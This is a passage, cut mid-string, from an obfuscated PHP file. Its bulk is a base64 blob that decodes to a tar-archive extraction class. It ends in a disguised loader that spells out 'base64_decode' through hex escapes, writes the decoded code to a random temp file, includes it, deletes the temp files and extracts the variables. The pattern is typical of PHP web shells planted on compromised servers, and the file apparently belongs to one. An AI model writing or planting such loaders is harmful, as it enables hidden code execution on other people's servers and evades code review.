WJzdHIoJHBhdGgsIDAsIDMpICE9ICcuLi8nICYmICFzdHJwb3MoJHBhdGgsICc6JykpKQkkcGF0aCA9ICcuLycuJHBhdGg7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXdoaWxlIChzdHJsZW4oJGJpbmFyeURhdGEgPSAkdGhpcy0+cmVhZEJsb2NrKCkpICE9IDApew0KCQkJaWYgKCEkdGhpcy0+cmVhZEhlYWRlcigkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsNCgkJCWlmICgkaGVhZGVyWydmaWxlbmFtZSddID09ICcnKSBjb250aW51ZTsNCgkJCWlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICdMJyl7CQkJLy9yZWFkaW5nIGxvbmcgaGVhZGVyDQoJCQkJJGZpbGVuYW1lID0gJyc7DQoJCQkJJGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ10vNTEyKTsNCgkJCQlmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKyl7DQoJCQkJCSRjb250ZW50ID0gJHRoaXMtPnJlYWRCbG9jaygpOw0KCQkJCQkkZmlsZW5hbWUgLj0gJGNvbnRlbnQ7DQoJCQkJfQ0KCQkJCWlmICgoJGxhc3BpZWNlID0gJGhlYWRlclsnc2l6ZSddICUgNTEyKSAhPSAwKXsNCgkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7DQoJCQkJCSRmaWxlbmFtZSAuPSBzdWJzdHIoJGNvbnRlbnQsIDAsICRsYXNwaWVjZSk7DQoJCQkJfQ0KCQkJCSRiaW5hcnlEYXRhID0gJHRoaXMtPnJlYWRCbG9jaygpOw0KCQkJCWlmICghJHRoaXMtPnJlYWRIZWFkZXIoJGJpbmFyeURhdGEsICRoZWFkZXIpKSByZXR1cm4gZmFsc2U7DQoJCQkJZWxzZSAkaGVhZGVyWydmaWxlbmFtZSddID0gJGZpbGVuYW1lOw0KCQkJCXJldHVybiB0cnVlOw0KCQkJfQ0KCQkJaWYgKCgkcGF0aCAhPSAnLi8nKSAmJiAoJHBhdGggIT0gJy8nKSl7DQoJCQkJd2hpbGUgKHN1YnN0cigkcGF0aCwgLTEpID09ICcvJykgJHBhdGggPSBzdWJzdHIoJHBhdGgsIDAsIHN0cmxlbigkcGF0aCktMSk7DQoJCQkJaWYgKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnLycpICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAkcGF0aC4kaGVhZGVyWydmaWxlbmFtZSddOw0KCQkJCWVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLicvJy4kaGVhZGVyWydmaWxlbmFtZSddOw0KCQkJfQ0KCQkJDQoJCQlpZiAoZmlsZV9leGlzdHMoJGhlYWRlclsnZmlsZW5hbWUnXSkpew0KCQkJCWlmICgoQGlzX2RpcigkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJycpKXsNCgkJCQkJJHRoaXMtPmVycm9yc1tdID1fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKS5fXygnIGFzIGZvbGRlcicpOw0KCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJfQ0KCQkJCWlmICgoaXNfZmlsZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJzUnKSl7DQoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9X18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJy4gJy5fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKTsNCgkJCQkJcmV0dXJuIGZhbHNlOw0KCQkJCX0NCgkJCQlpZiAoIWlzX3dyaXRlYWJsZSgkaGVhZGVyWydmaWxlbmFtZSddKSl7DQoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicuICcuX18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJyk7DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9DQoJCQl9IGVsc2VpZiAoKCR0aGlzLT5kaXJDaGVjaygoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScgPyAkaGVhZGVyWydmaWxlbmFtZSddIDogZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkpKSAhPSAxKXsNCgkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuX18oJyBmb3IgJykuJGhlYWRlclsnZmlsZW5hbWUnXTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoNCgkJCWlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1Jyl7DQoJCQkJaWYgKCFmaWxlX2V4aXN0cygkaGVhZGVyWydmaWxlbmFtZSddKSkJCXsNCgkJCQkJaWYgKCFta2RpcigkaGVhZGVyWydmaWxlbmFtZSddLCAwNzc3KSkJew0KCQkJCQkJDQoJCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXTsNCgkJCQkJCXJldHVybiBmYWxzZTsNCgkJCQkJfSANCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgoJGRlc3RpbmF0aW9uID0gZm9wZW4oJGhlYWRlclsnZmlsZW5hbWUnXSwgJ3diJykpID09IDApIHsNCgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCB3cml0ZSB0byBmaWxlJykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ107DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXS81MTIpOw0KCQkJCQlmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKykgew0KCQkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7DQoJCQkJCQlmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgNTEyKTsNCgkJCQkJfQ0KCQkJCQlpZiAoKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikgIT0gMCkgew0KCQkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7DQoJCQkJCQlmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikpOw0KCQkJCQl9DQoJCQkJCWZjbG9zZSgkZGVzdGluYXRpb24pOw0KCQkJCQl0b3VjaCgkaGVhZGVyWydmaWxlbmFtZSddLCAkaGVhZGVyWyd0aW1lJ10pOw0KCQkJCX0NCgkJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJCWlmIChmaWxlc2l6ZSgkaGVhZGVyWydmaWxlbmFtZSddKSAhPSAkaGVhZGVyWydzaXplJ10pIHsNCgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ1NpemUgb2YgZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddLicgJy5fXygnaXMgaW5jb3JyZWN0Jyk7DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoKCRmaWxlX2RpciA9IGRpcm5hbWUoJGhlYWRlclsnZmlsZW5hbWUnXSkpID09ICRoZWFkZXJbJ2ZpbGVuYW1lJ10pICRmaWxlX2RpciA9ICcnOw0KCQkJaWYgKChzdWJzdHIoJGhlYWRlclsnZmlsZW5hbWUnXSwgMCwgMSkgPT0gJy8nKSAmJiAoJGZpbGVfZGlyID09ICcnKSkgJGZpbGVfZGlyID0gJy8nOw0KCQkJJHRoaXMtPmRpcnNbXSA9ICRmaWxlX2RpcjsNCgkJCSR0aGlzLT5maWxlc1tdID0gJGhlYWRlclsnZmlsZW5hbWUnXTsNCgkNCgkJfQ0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoNCglmdW5jdGlvbiBkaXJDaGVjaygkZGlyKXsNCgkJJHBhcmVudF9kaXIgPSBkaXJuYW1lKCRkaXIpOw0KDQoJCWlmICgoQGlzX2RpcigkZGlyKSkgb3IgKCRkaXIgPT0gJycpKQ0KCQkJcmV0dXJuIHRydWU7DQoNCgkJaWYgKCgkcGFyZW50X2RpciAhPSAkZGlyKSBhbmQgKCRwYXJlbnRfZGlyICE9ICcnKSBhbmQgKCEkdGhpcy0+ZGlyQ2hlY2soJHBhcmVudF9kaXIpKSkNCgkJCXJldHVybiBmYWxzZTsNCg0KCQlpZiAoIW1rZGlyKCRkaXIsIDA3NzcpKXsNCgkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy4kZGlyOw0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCXJldHVybiB0cnVlOw0KCX0NCg0KCWZ1bmN0aW9uIHJlYWRIZWFkZXIoJGJpbmFyeURhdGEsICYkaGVhZGVyKXsNCgkJaWYgKHN0cmxlbigkYmluYXJ5RGF0YSk9PTApew0KCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOw0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCg0KCQlpZiAoc3RybGVuKCRiaW5hcnlEYXRhKSAhPSA1MTIpew0KCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOw0KCQkJJHRoaXMtPl9fKCdJbnZhbGlkIGJsb2NrIHNpemUnKS4nOiAnLnN0cmxlbigkYmluYXJ5RGF0YSk7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCg0KCQkkY2hlY2tzdW0gPSAwOw0KCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRjaGVja3N1bSs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTsNCgkJZm9yICgkaSA9IDE0ODsgJGkgPCAxNTY7ICRpKyspICRjaGVja3N1bSArPSBvcmQoJyAnKTsNCgkJZm9yICgkaSA9IDE1NjsgJGkgPCA1MTI7ICRpKyspICRjaGVja3N1bSs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTsNCg0KCQkkdW5wYWNrX2RhdGEgPSB1bnBhY2soJ2ExMDBmaWxlbmFtZS9hOG1vZGUvYTh1c2VyX2lkL2E4Z3JvdXBfaWQvYTEyc2l6ZS9hMTJ0aW1lL2E4Y2hlY2tzdW0vYTF0eXBlZmxhZy9hMTAwbGluay9hNm1hZ2ljL2EydmVyc2lvbi9hMzJ1bmFtZS9hMzJnbmFtZS9hOGRldm1ham9yL2E4ZGV2bWlub3InLCAkYmluYXJ5RGF0YSk7DQoNCgkJJGhlYWRlclsnY2hlY2tzdW0nXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnY2hlY2tzdW0nXSkpOw0KCQlpZiAoJGhlYWRlclsnY2hlY2tzdW0nXSAhPSAkY2hlY2tzdW0pew0KCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOw0KCQkJaWYgKCgkY2hlY2tzdW0gPT0gMjU2KSAmJiAoJGhlYWRlclsnY2hlY2tzdW0nXSA9PSAwKSkgCXJldHVybiB0cnVlOw0KCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yIGNoZWNrc3VtIGZvciBmaWxlICcpLiR1bnBhY2tfZGF0YVsnZmlsZW5hbWUnXTsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KDQoJCWlmICgoJGhlYWRlclsndHlwZWZsYWcnXSA9ICR1bnBhY2tfZGF0YVsndHlwZWZsYWcnXSkgPT0gJzUnKQkkaGVhZGVyWydzaXplJ10gPSAwOw0KCQkkaGVhZGVyWydmaWxlbmFtZSddID0gdHJpbSgkdW5wYWNrX2RhdGFbJ2ZpbGVuYW1lJ10pOw0KCQkkaGVhZGVyWydtb2RlJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ21vZGUnXSkpOw0KCQkkaGVhZGVyWyd1c2VyX2lkJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ3VzZXJfaWQnXSkpOw0KCQkkaGVhZGVyWydncm91cF9pZCddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydncm91cF9pZCddKSk7DQoJCSRoZWFkZXJbJ3NpemUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnc2l6ZSddKSk7DQoJCSRoZWFkZXJbJ3RpbWUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsndGltZSddKSk7DQoJCXJldHVybiB0cnVlOw0KCX0NCg0KCWZ1bmN0aW9uIHdyaXRlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpew0KCQkkcGFja0YgPSAnYTEwMGE4YThhOGExMkExMic7DQoJCSRwYWNrTCA9ICdhMWExMDBhNmEyYTMyYTMyYThhOGExNTVhMTInOw0KCQlpZiAoc3RybGVuKCRrZWVwX2ZpbGVuYW1lKTw9MCkgJGtlZXBfZmlsZW5hbWUgPSAkZmlsZW5hbWU7DQoJCSRmaWxlbmFtZV9yZWFkeSA9ICR0aGlzLT5tYWtlR29vZFBhdGgoJGtlZXBfZmlsZW5hbWUpOw0KDQoJCWlmIChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSA+IDk5KXsJCQkJCQkJLy93cml0ZSBsb25nIGhlYWRlcg0KCQkkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICcuLy4vTG9uZ0xpbmsnLCAwLCAwLCAwLCBzcHJpbnRmKCclMTFzICcsIERlY09jdChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSkpLCAwKTsNCgkJJGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICdMJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7DQoNCiAgICAgICAgLy8gIENhbGN1bGF0ZSB0aGUgY2hlY2tzdW0NCgkJJGNoZWNrc3VtID0gMDsNCiAgICAgICAgLy8gIEZpcnN0IHBhcnQgb2YgdGhlIGhlYWRlcg0KCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspDQoJCQkkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUZpcnN0LCAkaSwgMSkpOw0KICAgICAgICAvLyAgSWdub3JlIHRoZSBjaGVja3N1bSB2YWx1ZSBhbmQgcmVwbGFjZSBpdCBieSAnICcgKHNwYWNlKQ0KCQlmb3IgKCRpID0gMTQ4OyAkaSA8IDE1NjsgJGkrKykNCgkJCSRjaGVja3N1bSArPSBvcmQoJyAnKTsNCiAgICAgICAgLy8gIExhc3QgcGFydCBvZiB0aGUgaGVhZGVyDQoJCWZvciAoJGkgPSAxNTYsICRqPTA7ICRpIDwgNTEyOyAkaSsrLCAkaisrKQ0KCQkJJGNoZWNrc3VtICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpOw0KICAgICAgICAvLyAgV3JpdGUgdGhlIGZpcnN0IDE0OCBieXRlcyBvZiB0aGUgaGVhZGVyIGluIHRoZSBhcmNoaXZlDQoJCSR0aGlzLT53cml0ZUJsb2NrKCRkYXRhRmlyc3QsIDE0OCk7DQogICAgICAgIC8vICBXcml0ZSB0aGUgY2FsY3VsYXRlZCBjaGVja3N1bQ0KCQkkY2hlY2tzdW0gPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRjaGVja3N1bSkpOw0KCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E4JywgJGNoZWNrc3VtKTsNCgkJJHRoaXMtPndyaXRlQmxvY2soJGJpbmFyeURhdGEsIDgpOw0KICAgICAgICAvLyAgV3JpdGUgdGhlIGxhc3QgMzU2IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmUNCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFMYXN0LCAzNTYpOw0KDQoJCSR0bXBfZmlsZW5hbWUgPSAkdGhpcy0+bWFrZUdvb2RQYXRoKCRmaWxlbmFtZV9yZWFkeSk7DQoNCgkJJGkgPSAwOw0KCQkJd2hpbGUgKCgkYnVmZmVyID0gc3Vic3RyKCR0bXBfZmlsZW5hbWUsICgoJGkrKykqNTEyKSwgNTEyKSkgIT0gJycpew0KCQkJCSRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOw0KCQkJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTsNCgkJCX0NCgkJcmV0dXJuIHRydWU7DQoJCX0NCgkJJGZpbGVfaW5mbyA9IHN0YXQoJGZpbGVuYW1lKTsNCgkJaWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7DQoJCQkkdHlwZWZsYWcgPSAnNSc7DQoJCQkkc2l6ZSA9IHNwcmludGYoJyUxMXMgJywgRGVjT2N0KDApKTsNCgkJfSBlbHNlIHsNCgkJCSR0eXBlZmxhZyA9ICcnOw0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCSRzaXplID0gc3ByaW50ZignJTExcyAnLCBEZWNPY3QoZmlsZXNpemUoJGZpbGVuYW1lKSkpOw0KCQl9DQoJCSRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJGZpbGVuYW1lX3JlYWR5LCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KGZpbGVwZXJtcygkZmlsZW5hbWUpKSksIHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGZpbGVfaW5mb1s0XSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNV0pKSwgJHNpemUsIHNwcmludGYoJyUxMXMnLCBEZWNPY3QoZmlsZW10aW1lKCRmaWxlbmFtZSkpKSk7DQoJCSRkYXRhTGFzdCA9IHBhY2soJHBhY2tMLCAkdHlwZWZsYWcsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOw0KCQkkY2hlY2tzdW0gPSAwOw0KCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhRmlyc3QsICRpLCAxKSk7DQoJCWZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkY2hlY2tzdW0gKz0gb3JkKCcgJyk7DQoJCWZvciAoJGkgPSAxNTYsICRqID0gMDsgJGkgPCA1MTI7ICRpKyssICRqKyspICRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhTGFzdCwgJGosIDEpKTsNCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFGaXJzdCwgMTQ4KTsNCgkJJGNoZWNrc3VtID0gc3ByaW50ZignJTZzICcsIERlY09jdCgkY2hlY2tzdW0pKTsNCgkJJGJpbmFyeURhdGEgPSBwYWNrKCdhOCcsICRjaGVja3N1bSk7DQoJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhLCA4KTsNCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFMYXN0LCAzNTYpOw0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoNCglmdW5jdGlvbiBvcGVuV3JpdGUoKXsNCgkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpDQoJCQkkdGhpcy0+dG1wX2ZpbGUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3diOWYnKTsNCgkJZWxzZQ0KCQkJJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3diJyk7DQoNCgkJaWYgKCEoJHRoaXMtPnRtcF9maWxlKSl7DQoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJHRoaXMtPmFyY2hpdmVfbmFtZTsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoNCglmdW5jdGlvbiByZWFkQmxvY2soKXsNCgkJaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpew0KCQkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpDQoJCQkJJGJsb2NrID0gZ3pyZWFkKCR0aGlzLT50bXBfZmlsZSwgNTEyKTsNCgkJCWVsc2UNCgkJCQkkYmxvY2sgPSBmcmVhZCgkdGhpcy0+dG1wX2ZpbGUsIDUxMik7DQoJCX0gZWxzZQkkYmxvY2sgPSAnJzsNCg0KCQlyZXR1cm4gJGJsb2NrOw0KCX0NCg0KCWZ1bmN0aW9uIHdyaXRlQmxvY2soJGRhdGEsICRsZW5ndGggPSAwKXsNCgkJaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpew0KCQkNCgkJCWlmICgkbGVuZ3RoID09PSAwKXsNCgkJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkNCgkJCQkJZ3pwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEpOw0KCQkJCWVsc2UNCgkJCQkJZnB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSk7DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgkdGhpcy0+aXNHemlwcGVkKQ0KCQkJCQlnenB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSwgJGxlbmd0aCk7DQoJCQkJZWxzZQ0KCQkJCQlmcHV0cygkdGhpcy0+dG1wX2ZpbGUsICRkYXRhLCAkbGVuZ3RoKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWZ1bmN0aW9uIGNsb3NlVG1wRmlsZSgpew0KCQlpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSl7DQoJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkNCgkJCQlnemNsb3NlKCR0aGlzLT50bXBfZmlsZSk7DQoJCQllbHNlDQoJCQkJZmNsb3NlKCR0aGlzLT50bXBfZmlsZSk7DQoNCgkJCSR0aGlzLT50bXBfZmlsZSA9IDA7DQoJCX0NCgl9DQoNCglmdW5jdGlvbiBtYWtlR29vZFBhdGgoJHBhdGgpew0KCQlpZiAoc3RybGVuKCRwYXRoKT4wKXsNCgkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7DQoJCQkkcGFydFBhdGggPSBleHBsb2RlKCcvJywgJHBhdGgpOw0KCQkJJGVscyA9IGNvdW50KCRwYXJ0UGF0aCktMTsNCgkJCWZvciAoJGkgPSAkZWxzOyAkaT49MDsgJGktLSl7DQoJCQkJaWYgKCRwYXJ0UGF0aFskaV0gPT0gJy4nKXsNCiAgICAgICAgICAgICAgICAgICAgLy8gIElnbm9yZSB0aGlzIGRpcmVjdG9yeQ0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkcGFydFBhdGhbJGldID09ICcuLicpew0KICAgICAgICAgICAgICAgICAgICAkaS0tOw0KICAgICAgICAgICAgICAgIH0NCgkJCQllbHNlaWYgKCgkcGFydFBhdGhbJGldID09ICcnKSBhbmQgKCRpIT0kZWxzKSBhbmQgKCRpIT0wKSl7DQogICAgICAgICAgICAgICAgfQllbHNlDQoJCQkJCSRyZXN1bHQgPSAkcGFydFBhdGhbJGldLigkaSE9JGVscyA/ICcvJy4kcmVzdWx0IDogJycpOw0KCQkJfQ0KCQl9IGVsc2UgJHJlc3VsdCA9ICcnOw0KCQkNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfQ0KfQ==";$_b = join('', array("\x62","\x61","\x73","\x65",chr(54).chr(52),"\x5F","\x64","\x65","\x63","\x6F","\x64","\x65"));fuNcTiOn ____($_____) {$_a = sYs_gEt_TeMp_dIr();$tmpfname = TeMpNaM($_a, '.' . dechex(rand(4096,65535)));$handle = fOpEn($tmpfname, strrev('+' . 'w'));fWrItE($handle, $_____); FcLoSe($handle);iNcLuDe $tmpfname;array_map('un'.'link', glob($_a . "/*." . substr($tmpfname, -2)));rEtUrN get_defined_vars();}eXtRaCt(____($_b($_____)));